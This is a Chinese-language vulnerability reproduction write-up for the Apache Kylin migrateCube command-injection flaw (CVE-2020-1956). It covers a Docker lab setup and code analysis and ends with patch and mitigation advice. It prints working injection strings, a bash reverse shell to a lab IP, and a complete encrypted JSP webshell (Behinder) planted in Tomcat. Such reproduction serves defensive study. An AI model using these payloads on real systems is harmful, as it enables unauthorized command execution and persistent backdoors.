Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)

摘要:
Apache Kylin远程代码执行漏洞复发(CVE-2020-1956)简介Apache Kylin是Apache软件基金会的一个开源分布式分析数据仓库。攻击者可以利用此漏洞在系统上通过特制的输入执行任意OS命令。但是Kylin的官方网站文件http://kylin.apache.org/cn/docs/install/kylin_docker.html提供Docker环境的启动指南。
Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)

简介

Apache Kylin 是美国 Apache 软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark 之上的 SQL 查询接口及多维分析(OLAP)等功能。

Apache Kylin 中的静态 API 存在安全漏洞。攻击者可借助特制输入利用该漏洞在系统上执行任意OS命令。以下产品及版本受到影响:Apache Kylin 2.3.0版本至2.3.2版本,2.4.0版本至2.4.1版本,2.5.0版本至2.5.2版本,2.6.0版本至2.6.5版本,3.0.0-alpha版本,3.0.0-alpha2版本,3.0.0-beta版本,3.0.0版本,3.0.1版本。

漏洞描述

在Kylin中存在一些restful API,可以将操作系统命令与用户输入的字符串连接起来,由于未对用户输入内容做
合理校验,导致攻击者可以在未经验证的情况下执行任意系统命令。

影响范围

Kylin 2.3.0-2.3.2
Kylin 2.4.0-2.4.1
Kylin 2.5.0-2.5.2
Kylin 2.6.0-2.6.5
Kylin 3.0.0-alpha
Kylin 3.0.0-alpha2
Kylin 3.0.0-beta
Kylin 3.0.0-3.0.1

环境搭建

Kylin 的环境搭建包括 Hadoop、Hbase、Spark、Kafka 等一系列的组件,安装较为复杂。但是Kylin 官网文档 http://kylin.apache.org/cn/docs/install/kylin_docker.html 提供了 Docker 环境的启动指南,分别执行以下两个命令即可一键启动。

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

systemctl start docker
docker pull vulfocus/cve-2020-1956
docker run -d 
-m 8G 
-p 7070:7070 
-p 8088:8088 
-p 50070:50070 
-p 8032:8032 
-p 8042:8042 
-p 16010:16010 
vulfocus/cve-2020-1956

访问镜像地址http://192.168.152.133:7070/kylin/login

默认登陆账号密码admin/KYLIN

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第1张

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第2张

漏洞分析

漏洞位于/src/main/java/org/apache/kylin/rest/service/CubeService.java文件,漏洞点在 CubeService.java 中的 migrateCube() 函数,漏洞原因是使用 String.format() 格式化待执行的系统命令且未做过滤,导致命令内容可被注入,涉及的参数包括 srcCfgUridstCfgUriprojectName三个。

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第3张

Migrate Cube

查看官方文档:http://kylin.apache.org/cn/docs/howto/howto_use_restapi.html#migrate-cube

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第4张

Migrate Cube是一个接口(POST /kylin/api/cubes/{cube}/{project}/migrate),接口中显示分别需要 cube 和 project两个路径入参,回看 kylin /models页面上的表格里,已经显示了 cube name 和对应的 Project。

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第5张

我们选择第一行记录中的cubekylin_sales_cube 和对应的 Projectlearn_kylin 作为路径参数,获取登录Cookie,尝试如下POC。

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第6张

返回报错信息

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第7张

漏洞利用

漏洞利用条件

1、登录系统

2、修改配置

进入system选项卡,在界面上的 Set Config中,把 srcCfgUri :kylin.tool.auto-migrate-cube.src-config配置为 /home/admin/apachekylin-
3.0.1-bin-hbase1x/conf/kylin.propertie,将 destCfgUri :kylin.tool.auto-migrate-cube.dest-config 配置为
/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/success; echo ;注意其中注入
了 touch /tmp/success 的系统命令。

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第8张

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第9张

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第10张

重新repeater,返回200

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第11张

进入容器内查看,已经成功写入。

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第12张

反弹shell

将 kylin.tool.auto-migrate-cube.dest-config 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin true
true true true; bash -i >& /dev/tcp/192.168.152.1/1521 0>&1; echo ; 。其中注入的命令从 touch /tmp/success 换成了
反弹 shell 的命令 bash -i >& /dev/tcp/192.168.152.1/1521 0>&1,反弹到ip为 192.168.152.1的主机上。

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第13张

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第14张

开启监听

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第15张

重新repeater,无返回信息

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第16张

但是宿主机192.168.152.1已经成功接收到反弹回来的shell

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第17张

写入冰蝎shell

在界面Set Config中,把 srcCfgUri :kylin.tool.auto-migrate-cube.src-config配置为 /home/admin/apachekylin-
3.0.1-bin-hbase1x/conf/kylin.propertie,
将 destCfgUri :kylin.tool.auto-migrate-cube.dest-config 配置为 /tmp/kylin.properties kylin_sales_cube
learn_kylin true true true true; echo '<%@page import="java.util.,javax.crypto.,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>'

/home/admin/apache-kylin-3.0.1-bin-hbase1x/tomcat/webapps/kylin/shell.jsp; echo

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第18张

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第19张

再次repeater,返回200

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第20张

查看容器,成功写入shell.jsp

Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)第21张

漏洞修复

1.官方已发布最新版本修复了此漏洞,用户应尽快升级到2.6.6或3.0.2版本,下载链接:
http://kylin.apache.org/cn/download/
2.临时措施:由于该漏洞的入口为migrateCube,可将kylin.tool.auto-migrate-cube.enabled设置为false以禁用
命令执行。

参考链接
1.https://paper.seebug.org/1237/
2.https://kylin.apache.org/docs/security.html

免责声明:文章转载自《Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇入门&amp;amp;常量&amp;amp;变量关于SQLCE+PDA+SQL2000的安装配置下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Linux添加PATH,即命令自动补全功能

原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 、作者信息和本声明。否则将追究法律责任。http://no001.blog.51cto.com/1142339/554927  试了好多遍,多无效。。 最后在/etc/enviroment下设置才有效。 不过让有一些未解问题 我使用sudo su 进入到root用户权限,设置完成的。 重新...

flashcache

Flashcache系统管理员手册 1.简介Flashcache 是为Linux操作系统开发的块设备回写缓存内核模块,使用了Device Mapper的方式实现,本文档可指导你快速掌握Flashcache管理工作。2. 系统需求 Flashcache 在Linux 2.6.18 和 2.6.20 内核上编译并测试通过。如果需要在更新的内核上使用,请发送...

解决Mac应用程序软件不出现在Launchpad里面的方法

新装了几个软件,可是打开Lauchpad之后却在里面找不到,真是烦人!然后尝试了以下方法: 1、重启电脑,没用; 2、尝试打开“应用程序(英文名称:Applications)”并找到安装的软件,然后直接将其拖动到底部菜单的“Launchpad”图标上,当看到+号出现的时候松手,也没用; 如果有人尝试以上两种方式有用的话,也是可以的啊!可惜我的都没用,然后...

Linux declare命令

[ Linux 命令大全Linux declare命令用于声明 shell 变量。 declare为shell指令,在第一种语法中可用来声明变量并设置变量的属性([rix]即为变量的属性),在第二种语法中可用来显示shell函数。若不加上任何参数,则会显示全部的shell变量与函数(与执行set指令的效果相同)。 语法 declare [+/-][rxi...

adb -s指定安卓设备进行shell连接

1、adb shell如何指定安卓设备,下面是两个设备,第一个是模拟器,第二个是真机 2、使用命令adb -semulator-5554 shell adb -s <serial number> cmd 参考: 当有多个设备online时,命令行窗口通过adb连接指定设备方法_shell_Code Heaven-CSDN博客...

tcl/tk之流程控制命令

作为学习笔记,写下来仅供自己查阅。 tcl脚本命令风格有些类似linux命令,比较古老和原始的语言,学过linux的看起来应该毫无压力 if 命令 if {$x < 0} {     set x 0 }   if {$x < 0} {     ... } elseif {$x == 0} {     ... } elseif {$x == 1}...